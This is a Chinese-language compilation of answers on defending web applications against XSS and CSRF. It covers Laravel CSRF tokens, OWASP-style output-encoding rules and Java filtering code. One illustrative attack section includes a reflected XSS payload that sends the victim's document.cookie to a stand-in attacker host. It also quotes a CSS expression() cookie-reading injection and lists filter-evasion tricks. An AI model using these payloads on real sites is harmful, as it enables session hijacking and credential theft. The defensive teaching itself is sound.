Ⅰ laravel怎麼防止腳本攻擊
laravel為了方式瀏覽器的偽造請求，csrf攻擊，會對每個應用下的頁面生成一個csrf_token的令牌表單，用戶每次請求的時候會帶上這個令牌去和伺服器的session的令牌做對比。判斷本次請求和生成token的是否是同一個人。
生成csrf令牌隱藏表單
// 這行代碼生成了一個標準的隱藏表單值為token<input type="hidden" name="_token" value="<?php echo csrf_token(); ?>">
<?php echo csrf_field(); ?>
獲取token
echo csrf_token();
我們不需要手動寫驗證csrf請求的，因為laravel默認把每個路由都繼承了一個HTTP中間件VerifyCsrfToken會為我們做這項工作，將請求中輸入的token值和session中的存儲的作對比。
例外排除url 不進行csrf的驗證
某些時候我們不得已的要使用第三方的請求，這時候就需要將這些網址加入到csrf的例外請求裡面，
我們只需要到 中間件VerifyCsrfToken 裡面把請求的地址加入到$except屬性裡面即可。
Ⅱ 為什麼SSL不能防範跨站腳本攻擊（XSS）
ssl 只不過是把數據加密了，你傳了什麼數據他就加密什麼，即便是惡意腳本。他只是防止敏感信息泄漏，它本身貌似沒有數據驗證和過濾等功能。防止跨站腳本還是自己做好驗證/過濾/編碼等
Ⅲ 跨站腳本攻擊,如何利用工具和測試防範跨站點腳本攻擊
跨站點腳本（XSS）允許攻擊者通過利用網際網路伺服器的漏洞來發送惡意代碼到其他用戶。攻擊者利用跨站點腳本（XSS）攻擊向那些看似可信任的鏈接中注入惡意代碼。當用戶點擊了鏈接後，內嵌的程序將被提交並且會在用戶的電腦上執行，這會使黑客獲取訪問許可權並偷走敏感數據。攻擊者使用XSS來攻擊受害者機器上的漏洞並且傳輸惡意代碼而不是攻擊系統本身。 通過用戶輸入的數據返回錯誤消息的Web表格，攻擊者可以修改控制Web頁面的HTML代碼。黑客能夠在垃圾信息中的鏈接里插入代碼或者使用欺詐郵件來誘使用戶對其身份產生信任。 例如攻擊者可以發送帶有URL的郵件給受害人，這個URL指向一個Web站點並且提供瀏覽器腳本作為輸入；或者在博客或諸如Facebook、Twitter這樣的社交網站上發布惡意URL鏈接。當用戶點擊這個鏈接時，該惡意站點以及腳本將會在其瀏覽器上運行。瀏覽器不知道腳本是惡意的並將盲目地運行這個程序，這轉而允許攻擊者的瀏覽器腳本使用站點的功能來竊取cookie或者冒充合法的用戶來完成交易。 一些通常的跨站點腳本預防的最佳實踐包括在部署前測試應用代碼，並且以快速、簡明的方式修補缺陷和漏洞。Web應用開發人員應該過濾用戶的輸入來移除可能的惡意字元和瀏覽器腳本，並且植入用戶輸入過濾代碼來移除惡意字元。通常管理員也可以配置瀏覽器只接受來自信任站點的腳本或者關閉瀏覽器的腳本功能，盡管這樣做可能導致使用Web站點的功能受限。 隨著時代的進步黑客們變得更加先進，使用收集的工具集來加快漏洞攻擊進程。這意味著僅僅部署這些通常的XSS預防實踐是不夠的，保護和預防過程必須從底層開始並持續提升。預防過程必須在開發階段開始，建立在一個牢靠、安全的開發生命周期方法論之上的Web應用在發布版本中不太可能暴露出漏洞。這樣以來，不僅提升了安全性，也改善了可用性而且縮減了維護的總體費用，因為在現場環境中修補問題比在開發階段會花費更多。 威脅建模在XSS預防中也是重要的一個方面，應該納入到每個組織的安全開發生命周期當中。威脅建模評估和辨識在開發階段中應用程序面臨的所有的風險，來幫助Web開發人員更好地理解需要什麼樣的保護以及攻擊一旦得逞將對組織產生怎樣的影響。要辨識一個特定應用的威脅級別，考慮它的資產以及它訪問的敏感信息量是十分重要的。這個威脅建模過程將確保在應用的設計和開發過程中戰略性地融合了安全因素源碼天空 ，並且增強了Web開發人員的安全意識。 對於大型項目的Web開發人員來說，源代碼掃描工具和Web應用漏洞掃描器是提高效率和減少工作量的通常選擇。
Ⅳ 如何防範XSS跨站腳本攻擊測試篇
不可信數據 不可信數據通常是來自HTTP請求的數據，以URL參數、表單欄位、標頭或者Cookie的形式。不過從安全形度來看，來自資料庫、網路伺服器和其他來源的數據往往也是不可信的，也就是說，這些數據可能沒有完全通過驗證。 應該始終對不可信數據保持警惕，將其視為包含攻擊，這意味著在發送不可信數據之前，應該採取措施確定沒有攻擊再發送。由於應用程序之間的關聯不斷深化，下游直譯程序執行的攻擊可以迅速蔓延。 傳統上來看，輸入驗證是處理不可信數據的最好辦法，然而，輸入驗證法並不是注入式攻擊的最佳解決方案。首先，輸入驗證通常是在獲取數據時開始執行的，而此時並不知道目的地所在。這也意味著我們並不知道在目標直譯程序中哪些字元是重要的。其次，可能更加重要的是，應用程序必須允許潛在危害的字元進入，例如，是不是僅僅因為SQL認為Mr. O'Malley名字包含特殊字元他就不能在資料庫中注冊呢? 雖然輸入驗證很重要，但這始終不是解決注入攻擊的完整解決方案，最好將輸入攻擊作為縱深防禦措施，而將escaping作為首要防線。 解碼(又稱為Output Encoding) 「Escaping」解碼技術主要用於確保字元作為數據處理，而不是作為與直譯程序的解析器相關的字元。有很多不同類型的解碼，有時候也被成為輸出「解碼」。有些技術定義特殊的「escape」字元，而其他技術則包含涉及若干字元的更復雜的語法。 不要將輸出解碼與Unicode字元編碼的概念弄混淆了，後者涉及映射Unicode字元到位序列。這種級別的編碼通常是自動解碼，並不能緩解攻擊。但是，如果沒有正確理解伺服器和瀏覽器間的目標字元集，有可能導致與非目標字元產生通信，從而招致跨站XSS腳本攻擊。這也正是為所有通信指定Unicode字元編碼(字元集)(如UTF-8等)的重要所在。 Escaping是重要的工具，能夠確保不可信數據不能被用來傳遞注入攻擊。這樣做並不會對解碼數據造成影響，仍將正確呈現在瀏覽器中，解碼只能阻止運行中發生的攻擊。 注入攻擊理論 注入攻擊是這樣一種攻擊方式，它主要涉及破壞數據結構並通過使用特殊字元(直譯程序正在使用的重要數據)轉換為代碼結構。XSS是一種注入攻擊形式，瀏覽器作為直譯程序，攻擊被隱藏在HTML文件中。HTML一直都是代碼和數據最差的mashup，因為HTML有很多可能的地方放置代碼以及很多不同的有效編碼。HTML是很復雜的，因為它不僅是層次結構的，而且還包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻擊與XSS的關系，必須認真考慮HTML DOM的層次結構中的注入攻擊。在HTML文件的某個位置(即開發者允許不可信數據列入DOM的位置)插入數據，主要有兩種注入代碼的方式： Injecting UP，上行注入 最常見的方式是關閉現有的context並開始一個新的代碼context，例如，當你關閉HTML屬性時使用">並開始新的 可以終止腳本塊，即使該腳本塊被注入腳本內方法調用內的引用字元，這是因為HTML解析器在JavaScript解析器之前運行。 Injecting DOWN，下行注入 另一種不太常見的執行XSS注入的方式就是，在不關閉當前context的情況下，引入一個subcontext。例如，將改為 ，並不需要躲開HTML屬性context，相反只需要引入允許在src屬性內寫腳本的context即可。另一個例子就是CSS屬性中的expression()功能，雖然你可能無法躲開引用CSS屬性來進行上行注入，你可以採用x ss:expression(document.write(document.cookie))且無需離開現有context。 同樣也有可能直接在現有context內進行注入，例如，可以採用不可信的輸入並把它直接放入JavaScript context。這種方式比你想像的更加常用，但是根本不可能利用escaping(或者任何其他方式)保障安全。從本質上講，如果這樣做，你的應用程序只會成為攻擊者將惡意代碼植入瀏覽器的渠道。 本文介紹的規則旨在防止上行和下行XSS注入攻擊。防止上行注入攻擊，你必須避免那些允許你關閉現有context開始新context的字元;而防止攻擊跳躍DOM層次級別，你必須避免所有可能關閉context的字元;下行注入攻擊，你必須避免任何可以用來在現有context內引入新的sub-context的字元。 積極XSS防禦模式 本文把HTML頁面當作一個模板，模板上有很多插槽，開發者允許在這些插槽處放置不可信數據。在其他地方放置不可信數據是不允許的，這是「白名單」模式，否認所有不允許的事情。 根據瀏覽器解析HTML的方式的不同，每種不同類型的插槽都有不同的安全規則。當你在這些插槽處放置不可信數據時，必須採取某些措施以確保數據不會「逃離」相應插槽並闖入允許代碼執行的context。從某種意義上說，這種方法將HTML文檔當作參數化的資料庫查詢，數據被保存在具體文職並與escaping代碼context相分離。 本文列出了最常見的插槽位置和安全放置數據的規則，基於各種不同的要求、已知的XSS載體和對流行瀏覽器的大量手動測試，我們保證本文提出的規則都是安全的。 定義好插槽位置，開發者們在放置任何數據前，都應該仔細分析以確保安全性。瀏覽器解析是非常棘手的，因為很多看起來無關緊要的字元可能起著重要作用。 為什麼不能對所有不可信數據進行HTML實體編碼? 可以對放入HTML文檔正文的不可行數據進行HTML實體編碼，如 標簽內。也可以對進入屬性的不可行數據進行實體編碼，尤其是當屬性中使用引用符號時。但是HTML實體編碼並不總是有效，例如將不可信數據放入 directlyinascript insideanHTMLcomment inanattributename <...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/> inatagname 更重要的是，不要接受來自不可信任來源的JavaScript代碼然後運行，例如，名為「callback」的參數就包含JavaScript代碼段，沒有解碼能夠解決。 No.2 – 在向HTML元素內容插入不可信數據前對HTML解碼 這條規則適用於當你想把不可信數據直接插入HTML正文某處時，這包括內部正常標簽(div、p、b、td等)。大多數網站框架都有HTML解碼的方法且能夠躲開下列字元。但是，這對於其他HTML context是遠遠不夠的，你需要部署其他規則。 ...... ...... 以及其他的HTML常用元素 使用HTML實體解碼躲開下列字元以避免切換到任何執行內容，如腳本、樣式或者事件處理程序。在這種規格中推薦使用十六進制實體，除了XML中5個重要字元(&、<、 >、 "、 ')外，還加入了斜線符，以幫助結束HTML實體。 &-->& <-->< >-->> "-->" '-->''isnotrecommended /-->/ ESAPI參考實施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常見屬性插入不可信數據前進行屬性解碼 這條規則是將不可信數據轉化為典型屬性值(如寬度、名稱、值等)，這不能用於復雜屬性(如href、src、style或者其他事件處理程序)。這是及其重要的規則，事件處理器屬性(為HTML JavaScript Data Values)必須遵守該規則。 content insidesinglequotedattribute 除了字母數字字元外，使用小於256的ASCII值&#xHH格式(或者命名的實體)對所有數據進行解碼以防止切換屬性。這條規則應用廣泛的原因是因為開發者常常讓屬性保持未引用，正確引用的屬性只能使用相應的引用進行解碼。未引用屬性可以被很多字元破壞，包括[space] % * + , - / ; < = > ^ 和 |。 ESAPI參考實施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信數據前，進行JavaScript解碼 這條規則涉及在不同HTML元素上制定的JavaScript事件處理器。向這些事件處理器放置不可信數據的唯一安全位置就是「data value」。在這些小代碼塊放置不可信數據是相當危險的，因為很容易切換到執行環境，因此請小心使用。
Ⅳ 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法： 1.輸入過濾 對每一個用戶的輸入或者請求首部，都要進行過濾。這需要程序員有良好的安全素養，而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題，如錯誤頁等。 final String filterPattern="[<>{}\\[\\];\\&]"; String inputStr = s.replaceAll(filterPattern," "); 2.輸出過濾 public static String encode(String data) { final StringBuffer buf = new StringBuffer(); final char[] chars = data.toCharArray(); for (int i = 0; i < chars.length; i++) { buf.append("&#" + (int) chars[i]); } return buf.toString(); } public static String decodeHex(final String data, final String charEncoding) { if (data == null) { return null; } byte[] inBytes = null; try { inBytes = data.getBytes(charEncoding); } catch (UnsupportedEncodingException e) { //use default charset inBytes = data.getBytes(); } byte[] outBytes = new byte[inBytes.length]; int b1; int b2; int j=0; for (int i = 0; i < inBytes.length; i++) { if (inBytes[i] == '%') { b1 = Character.digit((char) inBytes[++i], 16); b2 = Character.digit((char) inBytes[++i], 16); outBytes[j++] = (byte) (((b1 & 0xf) << 4) + (b2 & 0xf)); } else { outBytes[j++] = inBytes[i]; } } String encodedStr = null; try { encodedStr = new String(outBytes, 0, j, charEncoding); } catch (UnsupportedEncodingException e) { encodedStr = new String(outBytes, 0, j); } return encodedStr; } <!-- Maps the 404 Not Found response code to the error page /errPage404 --> <error-page> <error-code>404</error-code> <location>/errPage404</location> </error-page> <!-- Maps any thrown ServletExceptions to the error page /errPageServ --> <error-page> <exception-type>javax.servlet.ServletException</exception-type> <location>/errPageServ</location> </error-page> <!-- Maps any other thrown exceptions to a generic error page /errPageGeneric --> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/errPageGeneric</location> </error-page> 任何的非servlet例外都被/errPageGeneric路徑捕捉，這樣就可以處理。 Throwable throwable = (Throwable) request.getAttribute("javax.servlet.error.exception"); String status_code = ((Integer) request.getAttribute("javax.servlet.error.status_code")).toString( ); 3.安裝三方的應用防火牆，可以攔截css攻擊。 附： 跨站腳本不像其他攻擊只包含兩個部分：攻擊者和web站點。 跨站腳本包含三個部分：攻擊者，客戶和web站點。 跨站腳本攻擊的目的是竊取客戶的cookies，或者其他可以證明用戶身份的敏感信息。 攻擊 一個get請求 GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site 會產生如下的結果 <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> 但是如果請求被篡改 GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site 就會得到如下的響應 <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> 這樣在客戶端會有一段非法的腳本執行，這不具有破壞作用，但是如下的腳本就很危險了。 http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script> 響應如下： <HTML> <Title>Welcome!</Title> Hi <script>window.open(「www.attacker.site/collect.cgi?cookie=」+document.cookie)</script> <BR> Welcome to our system ... </HTML> 瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站，這樣攻擊者就得到了客戶的cookie。
Ⅵ springmvc怎麼防止腳本攻擊
說一下SpringMVC如何防禦CSRF(Cross-site request forgery跨站請求偽造)和XSS(Cross site script跨站腳本攻擊)。 說說CSRF 對CSRF來說,其實Spring3.1
Ⅶ 誰能說一下腳本病毒的原理、攻擊流程與防護、、最好詳細點呀、網站也好、謝啦、、
通過對xss跨站腳本攻擊漏洞的歷史、攻擊特點、攻擊原理描述及案例代碼實戰舉例詳細解析XSS漏洞攻擊技術，並提出防禦XSS跨站漏洞的思路方法。及WEB開發者開發網站過程中防範編碼中產生xss跨站腳本攻擊漏洞需要注意的事項。
XSS漏洞概述：
XSS(Cross Site Script)跨站點腳本攻擊是一種注射的問題，在這種惡意腳本注入否則良性和信任的網站類型。跨站點腳本（XSS）攻擊，攻擊者使用時，會出現一個網路應用程序發送惡意代碼，一般是在瀏覽器端腳本的形式，向不同的最終用戶。這些缺陷，使攻擊成功是相當普遍，發生在任何地方從一個Web應用程序使用在輸出它沒有驗證或編碼了用戶輸入。攻擊者可以使用XSS的惡意腳本發送到一個毫無戒心的用戶。最終用戶的瀏覽有沒有辦法知道該腳本不應該信任，將執行該腳本。因為它認為該腳本來從一個受信任的源，惡意腳本可以訪問任何Cookie，會話令牌，或其他敏感信息的瀏覽器保留，並與該網站使用。 甚至可以重寫這些腳本的HTML網頁的內容。
XSS漏洞歷史：
XSS(Cross-site scripting)漏洞最早可以追溯到1996年，那時電子商務才剛剛起步，估計那時候國內很少人會想像到今天出現的幾個國內電子商務巨頭淘寶、當當、亞馬遜（卓越）。XSS的出現「得益」於JavaScript的出現，JavaScript的出現給網頁的設計帶來了無限驚喜，包括今天風行的AJAX(Asynschronous JavaScript and XML)。同時，這些元素又無限的擴充了今天的網路安全領域。
XSS 漏洞攻擊特點：
（1）XSS跨站漏洞種類多樣人：
XSS攻擊語句可插入到、URL地址參數後面、輸入框內、img標簽及DIV標簽等HTML函數的屬人里、Flash的getURL()動作等地方都會觸發XSS漏洞。
（2）XSS跨站漏洞代碼多樣人：
為了躲避轉義HTML特殊字元函數及過濾函數的過濾，XSS跨站的代碼使用「/」來代替安字元「」」、使用Tab鍵代替空格、部分語句轉找成16進制、添加特殊字元、改變大小寫及使用空格等來繞過過濾函數。
如果在您的新聞系統發現安全漏洞，如果該漏洞是一個SQL 注入漏洞，那麼該漏洞就會得到您的網站管理員密碼、可以在主機系統上執行shell命令、對資料庫添加、刪除數據。如果在您的新聞或郵件系統中發現安全漏洞，如果該漏洞是一個XSS跨站漏洞，那麼可以構造一些特殊代碼，只要你訪問的頁麵包含了構造的特殊代碼，您的主機可能就會執行木馬程序、執行^***Cookies代碼、突然轉到一個銀行及其它金融類的網站、泄露您的網銀及其它賬號與密碼等。
XSS攻擊原理：
XSS 屬於被動式的攻擊。攻擊者先構造一個跨站頁面，利用script、<IMG>、<IFRAME>等各種方式使得用戶瀏覽這個頁面時，觸發對被攻擊站點的http 請求。此時，如果被攻擊者如果已經在被攻擊站點登錄，就會持有該站點cookie。這樣該站點會認為被攻擊者發起了一個http 請求。而實際上這個請求是在被攻擊者不知情的情況下發起的，由此攻擊者在一定程度上達到了冒充被攻擊者的目的。精心的構造這個攻擊請求，可以達到冒充發文，奪取許可權等等多個攻擊目的。在常見的攻擊實例中，這個請求是通過script 來發起的，因此被稱為Cross Site Script。攻擊Yahoo Mail 的Yamanner 蠕蟲是一個著名的XSS 攻擊實例。Yahoo Mail 系統有一個漏洞，當用戶在web 上察看信件時，有可能執行到信件內的javascript 代碼。病毒可以利用這個漏洞使被攻擊用戶運行病毒的script。同時Yahoo Mail 系統使用了Ajax技術，這樣病毒的script 可以很容易的向Yahoo Mail 系統發起ajax 請求，從而得到用戶的地址簿，並發送病毒給他人。
XSS 攻擊主要分為兩類：一類是來自內部的攻擊，主要指的是利用WEB 程序自身的漏洞，提交特殊的字元串，從而使得跨站頁面直接存在於被攻擊站點上，這個字元串被稱為跨站語句。這一類攻擊所利用的漏洞非常類似於SQL Injection 漏洞，都是WEB程序沒有對用戶輸入作充分的檢查和過濾。上文的Yamanner 就是一例。
另一類則是來來自外部的攻擊，主要指的自己構造XSS 跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點，我們自己構造一個跨站網頁放在自己的伺服器上，然後通過結合其它技術，如社會工程學等，欺騙目標伺服器的管理員打開。這一類攻擊的威脅相對較低，至少ajax 要發起跨站調用是非常困難的。
Ⅷ ajax服務端腳本防止請求攻擊的方法有哪些
1、驗證是否AJAX請求。
2、頻率限制。針對IP的限制，可以在伺服器層做（Tengine就有這樣的功能）。針對已登錄用戶的頻率限制，豆瓣就是這樣做，超出頻率就要輸入驗證碼。
3、csrftoken的方式，個人覺得意義不大。
Ⅸ 跨站腳本攻擊的預防
從網站開發者角度，如何防護XSS攻擊?
來自應用安全國際組織OWASP的建議，對XSS最佳的防護應該結合以下兩種方法：驗證所有輸入數據，有效檢測攻擊；對所有輸出數據進行適當的編碼，以防止任何已成功注入的腳本在瀏覽器端運行。具體如下：
輸入驗證：某個數據被接受為可被顯示或存儲之前，使用標准輸入驗證機制，驗證所有輸入數據的長度、類型、語法以及業務規則。
輸出編碼：數據輸出前，確保用戶提交的數據已被正確進行entity編碼，建議對所有字元進行編碼而不僅局限於某個子集。
明確指定輸出的編碼方式：不要允許攻擊者為你的用戶選擇編碼方式(如ISO 8859-1或 UTF 8)。
注意黑名單驗證方式的局限性：僅僅查找或替換一些字元(如< >或類似script的關鍵字)，很容易被XSS變種攻擊繞過驗證機制。
警惕規范化錯誤：驗證輸入之前，必須進行解碼及規范化以符合應用程序當前的內部表示方法。請確定應用程序對同一輸入不做兩次解碼。
從網站用戶角度，如何防護XSS攻擊?
當你打開一封Email或附件、瀏覽論壇帖子時，可能惡意腳本會自動執行，因此，在做這些操作時一定要特別謹慎。建議在瀏覽器設置中關閉JavaScript。如果使用IE瀏覽器，將安全級別設置到「高」。具體可以參照瀏覽器安全的相關文章。
這里需要再次提醒的是，XSS攻擊其實伴隨著社會工程學的成功應用，需要增強安全意識，只信任值得信任的站點或內容。可以通過一些檢測工具進行xss的漏洞檢測，類似工具有億思網站安全檢測平台。針對xss的漏洞帶來的危害是巨大，如有發現，應立即修復漏洞。
